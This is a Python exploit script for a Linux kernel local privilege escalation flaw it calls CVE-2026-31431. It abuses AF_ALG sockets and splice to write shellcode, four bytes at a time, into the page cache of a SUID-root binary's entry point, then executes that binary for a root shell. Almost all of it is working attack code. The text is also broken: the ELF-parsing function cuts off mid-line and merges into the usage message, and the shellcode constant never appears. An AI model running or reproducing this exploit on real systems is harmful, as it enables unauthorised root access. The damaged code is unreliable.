#!/usr/bin/env python # -*- coding: utf-8 -*- """ CVE-2026-31431 "Copy Fail" — Universal LPE Exploit Linux kernel page cache 4-byte arbitrary write via AF_ALG splice + authencesn Dynamic ELF entry point offset calculation — works on any SUID-root x86_64 binary. Reference: https://github.com/theori-io/copy-fail-CVE-2026-31431 Compatible with Python 3.x (requires AF_ALG socket support). """ from __future__ import print_function import os import socket import struct import sys import binascii import ctypes import ctypes.util AF_ALG = 38 SOCK_SEQPACKET = 5 SOL_ALG = 279 # --- splice compat: Python < 3.10 has no os.splice --- if not hasattr(os, "splice"): _libc = ctypes.CDLL(ctypes.util.find_library("c"), use_errno=True) def _splice(src, dst, count, offset_src=None, offset_dst=None, flags=0): ctypes.set_errno(0) pi = ctypes.byref(ctypes.c_longlong(offset_src)) if offset_src is not None else None po = ctypes.byref(ctypes.c_longlong(offset_dst)) if offset_dst is not None else None r = _libc.splice( ctypes.c_int(src), pi, ctypes.c_int(dst), po, ctypes.c_size_t(count), ctypes.c_uint(flags), ) if r == -1: raise OSError(ctypes.get_errno(), "splice failed") return r os.splice = _splice def _hex(h): """Compatibility wrapper for hex decoding (Python 2/3).""" if isinstance(h, str): h = h.encode("ascii") return binascii.unhexlify(h) def copy_fall_write(target, file_offset, payload): """ Write 4 bytes to page cache at (target_file, file_offset). Abuse AF_ALG algif_aead in-place decryption: splice() pins a page cache page, authencesn writes 4-byte seqno_lo at a controlled offset after the auth tag. """ s = socket.socket(AF_ALG, SOCK_SEQPACKET, 0) s.bind(("aead", "authencesn(hmac(sha256),cbc(aes))")) s.setsockopt(SOL_ALG, 1, _hex("0800010000000010" + "0" * 64)) s.setsockopt(SOL_ALG, 5, None, 4) ctx, _ = s.accept() zero = _hex("00") ctx.sendmsg( [b"A" * 4 + payload], [ (SOL_ALG, 3, zero * 4), (SOL_ALG, 2, b"\x10" + zero * 19), (SOL_ALG, 4, b"\x08" + zero * 3), ], 32768, ) r, w = os.pipe() fd = os.open(target, os.O_RDONLY) os.splice(fd, w, file_offset + 4, offset_src=0) os.splice(r, ctx.fileno(), file_offset + 4) try: ctx.recv(8 + file_offset) except Exception: pass for x in [fd, r, w]: os.close(x) ctx.close() s.close() def parse_elf_entry_offset(filepath): """ Calculate the file offset of the ELF entry point (e_entry). Walk PT_LOAD segments to find the one containing e_entry: file_offset = p_offset + (e_entry - p_vaddr) """ with open(filepath, "rb") as f: hdr = f.read(64) e_entry = struct.unpack_from(" (e.g., /usr/bin/su)") sys.exit(1) target = sys.argv[1] entry_offset = parse_elf_entry_offset(target) print(f"[*] Target: {target}") print(f"[*] ELF entry file offset: 0x{entry_offset:x}") sc = SHELLCODE if len(sc) % 4: sc += b"\x00" * (4 - len(sc) % 4) print(f"[*] Shellcode: {len(SHELLCODE)} bytes, {len(sc) // 4} writes") for i in range(len(sc) // 4): chunk = sc[i * 4 : i * 4 + 4] off = entry_offset + i * 4 copy_fall_write(target, off, chunk) print(f" [+] 0x{off:06x}: {chunk.hex()}") with open(target, "rb") as f: f.seek(entry_offset) written = f.read(len(sc)) print(f"[*] Verify: {written[:len(SHELLCODE)].hex()}") print(f"[*] Executing {target}...") os.system(target) if __name__ == "__main__": main()